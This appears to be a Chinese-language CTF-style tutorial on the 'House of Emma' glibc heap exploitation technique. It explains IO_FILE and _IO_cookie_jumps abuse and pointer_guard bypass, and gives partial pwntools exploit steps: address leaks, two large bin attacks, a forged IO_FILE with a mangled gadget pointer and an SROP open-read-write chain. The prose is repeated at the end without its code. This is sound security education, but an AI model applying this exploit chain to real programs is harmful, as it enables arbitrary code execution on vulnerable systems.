house of emma源码及orw
字数 1506 2025-08-22 12:22:48

House of Emma 攻击技术详解

1. 背景与概述

House of Emma 是一种针对 glibc 堆管理机制的利用技术,属于 IO_FILE 利用系列的一部分。它是在 House of Kiwi 基础上的进阶技术,主要解决当 _IO_file_jumps 不可写时的利用场景。

2. 技术原理

2.1 限制条件

  • 自 libc-2.24 起对 vtable 指向的地址范围有检查,不能随意劫持 vtable
  • 自 glibc-2.28 起,_IO_str_jumps 上的 _IO_str_finish 不再调用 _IO_strfile 上的函数指针

2.2 关键结构

利用 _IO_cookie_jumps 中的危险函数:

static ssize_t _IO_cookie_read(FILE *fp, void *buf, ssize_t size) {
    struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
    cookie_read_function_t *read_cb = cfile->__io_functions.read;
#ifdef PTR_DEMANGLE
    PTR_DEMANGLE(read_cb);
#endif
    return read_cb(cfile->__cookie, buf, size);
}

// 类似的还有 _IO_cookie_write, _IO_cookie_seek, _IO_cookie_close

_IO_cookie_file 结构定义:

struct _IO_cookie_file {
    struct _IO_FILE_plus __fp;
    void *__cookie;
    cookie_io_functions_t __io_functions;
};

typedef struct _IO_cookie_io_functions_t {
    cookie_read_function_t *read;
    cookie_write_function_t *write;
    cookie_seek_function_t *seek;
    cookie_close_function_t *close;
} cookie_io_functions_t;

2.3 指针保护机制

PTR_DEMANGLE 宏的操作是将函数指针循环右移 11 位然后与 fs:[0x30] 异或得到真正的函数地址。

fs:[0x30]pointer_guard,用于对指针进行加密,位于 TLS 结构中:

typedef struct {
    void *tcb;          /* 指向TCB */
    dtv_t *dtv;         /* 指向dtv数组 */
    void *self;         /* 指向自身 */
    int multiple_threads;
    int gscope_flag;
    uintptr_t sysinfo;
    uintptr_t stack_guard;  /* canary值 */
    uintptr_t pointer_guard; /* 用于保护指针 */
    //...
} tcbhead_t;

3. 利用流程

3.1 前置条件

  1. 泄露堆地址和 libc 基地址
  2. 利用 large bin attack 在 TLS 对应 pointer_guard 上写一个 chunk 地址
  3. 根据 libc 基地址定位 pointer_guard

3.2 触发路径

通过 __malloc_assert 触发漏洞:

__malloc_assert -> __fxprintf -> __vfxprintf -> locked_vfxprintf -> __vfprintf_internal -> outstring -> _IO_sputn

3.3 具体步骤

  1. 泄露 libc 和堆地址
  2. 利用 2 次 large bin attack 分别覆盖 pointer_guardstderr 指针为某 chunk 地址
  3. 构造伪造的 IO_FILE 结构
  4. 通过 __malloc_assert 触发漏洞

3.4 注意事项

  • 伪造的 IO_FILE 的 _lock 应该指向可读写的内存
  • glibc-2.36 的 __malloc_assert 直接通过系统调用不走 IO,该方法失效
  • 远程攻击存在爆破可能,因为 TLS 位于 ld 文件中

4. 实例分析

4.1 题目代码

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>

char *chunk_list[0x100];

void menu() {
    puts("1. add chunk");
    puts("2. delete chunk");
    puts("3. edit chunk");
    puts("4. show chunk");
    puts("5. exit");
    puts("choice:");
}

// 其他函数实现...

4.2 利用步骤

  1. 初始堆布局

    add(0, 0x418)
    add(1, 0x18)
    add(2, 0x428)
    add(3, 0x18)
    
  2. 泄露地址

    free(2)
    free(0)
    show(2)
    libc.address = u64(io.recvuntil(b'\x7F')[-6:].ljust(8, b'\x00')) - (libc.sym['main_arena'] + 96)
    show(0)
    heap_base = u64(io.recvuntil(b'\x55\x55')[-6:].ljust(8, b'\x00')) & ~0xFFF
    
  3. 第一次 large bin attack(覆盖 stderr):

    add(0, 0x418)
    edit(2, p64(0)*3 + p64(libc.sym['stderr'] - 0x20))
    free(0)
    add(0, 0x408)
    
  4. 第二次 large bin attack(覆盖 pointer_guard):

    pointer_guard = libc.address - 0x2890
    edit(2, p64(0)*3 + p64(pointer_guard - 0x20))
    free(0)
    add(0, 0x3f8)
    
  5. 构造伪造的 IO_FILE 结构

    fake_file = b""
    fake_file += p64(0)  # _IO_read_end
    # ... 填充其他字段 ...
    fake_file = fake_file.ljust(0xD8 - 0x10, b'\x00')
    fake_file += p64(libc.sym['_IO_cookie_jumps'] + 0x40)  # fake vtable
    fake_file += p64(frame_addr)  # cookie
    fake_file += p64(0)  # read
    fake_file += p64(rol(next(libc.search(asm('mov rdx, [rdi+0x8]; mov [rsp], rax; call qword ptr [rdx+0x20]'), executable=True)) ^ file_addr, 0x11))  # write
    fake_file += p64(0)  # seek
    fake_file += p64(0)  # close
    
  6. 构造 ROP 链

    frame = SigreturnFrame()
    frame.rdi = buf_addr
    frame.rsi = 0
    frame.rsp = rop_addr
    frame.rip = libc.sym["open"]
    
  7. 触发漏洞

    edit(2, payload)
    edit(3, b"\x00"*0x20)
    add(0, 0x500)  # 触发 __malloc_assert
    

5. 关键点总结

  1. 地址泄露:必须泄露 libc 和堆地址
  2. large bin attack:需要两次攻击分别修改 stderr 和 pointer_guard
  3. 指针保护绕过:通过修改 pointer_guard 使得加密后的指针可控
  4. IO_FILE 伪造:精心构造伪造的 IO_FILE 结构,特别是 vtable 指向 _IO_cookie_jumps
  5. 触发路径:通过破坏 top chunk 触发 __malloc_assert

6. 防御与缓解

  1. 更新到最新版 glibc(2.36+)
  2. 启用完整的 ASLR
  3. 使用堆保护机制如 Heap Guard
  4. 监控异常的大内存分配行为

7. 扩展思考

  1. 在其他 IO 操作中寻找类似的利用路径
  2. 探索 pointer_guard 的其他修改方式
  3. 研究 glibc 新版本中的替代利用方法

通过 House of Emma 技术,攻击者可以在特定条件下绕过 glibc 的保护机制,实现任意代码执行。理解其原理对于二进制安全研究和防御都具有重要意义。

House of Emma 攻击技术详解 1. 背景与概述 House of Emma 是一种针对 glibc 堆管理机制的利用技术,属于 IO_ FILE 利用系列的一部分。它是在 House of Kiwi 基础上的进阶技术,主要解决当 _IO_file_jumps 不可写时的利用场景。 2. 技术原理 2.1 限制条件 自 libc-2.24 起对 vtable 指向的地址范围有检查,不能随意劫持 vtable 自 glibc-2.28 起, _IO_str_jumps 上的 _IO_str_finish 不再调用 _IO_strfile 上的函数指针 2.2 关键结构 利用 _IO_cookie_jumps 中的危险函数: _IO_cookie_file 结构定义: 2.3 指针保护机制 PTR_DEMANGLE 宏的操作是将函数指针循环右移 11 位然后与 fs:[0x30] 异或得到真正的函数地址。 fs:[0x30] 是 pointer_guard ,用于对指针进行加密,位于 TLS 结构中: 3. 利用流程 3.1 前置条件 泄露堆地址和 libc 基地址 利用 large bin attack 在 TLS 对应 pointer_guard 上写一个 chunk 地址 根据 libc 基地址定位 pointer_guard 3.2 触发路径 通过 __malloc_assert 触发漏洞: 3.3 具体步骤 泄露 libc 和堆地址 利用 2 次 large bin attack 分别覆盖 pointer_guard 和 stderr 指针为某 chunk 地址 构造伪造的 IO_ FILE 结构 通过 __malloc_assert 触发漏洞 3.4 注意事项 伪造的 IO_ FILE 的 _lock 应该指向可读写的内存 glibc-2.36 的 __malloc_assert 直接通过系统调用不走 IO,该方法失效 远程攻击存在爆破可能,因为 TLS 位于 ld 文件中 4. 实例分析 4.1 题目代码 4.2 利用步骤 初始堆布局 : 泄露地址 : 第一次 large bin attack (覆盖 stderr): 第二次 large bin attack (覆盖 pointer_ guard): 构造伪造的 IO_ FILE 结构 : 构造 ROP 链 : 触发漏洞 : 5. 关键点总结 地址泄露 :必须泄露 libc 和堆地址 large bin attack :需要两次攻击分别修改 stderr 和 pointer_ guard 指针保护绕过 :通过修改 pointer_ guard 使得加密后的指针可控 IO_ FILE 伪造 :精心构造伪造的 IO_ FILE 结构,特别是 vtable 指向 _ IO_ cookie_ jumps 触发路径 :通过破坏 top chunk 触发 __ malloc_ assert 6. 防御与缓解 更新到最新版 glibc(2.36+) 启用完整的 ASLR 使用堆保护机制如 Heap Guard 监控异常的大内存分配行为 7. 扩展思考 在其他 IO 操作中寻找类似的利用路径 探索 pointer_ guard 的其他修改方式 研究 glibc 新版本中的替代利用方法 通过 House of Emma 技术,攻击者可以在特定条件下绕过 glibc 的保护机制,实现任意代码执行。理解其原理对于二进制安全研究和防御都具有重要意义。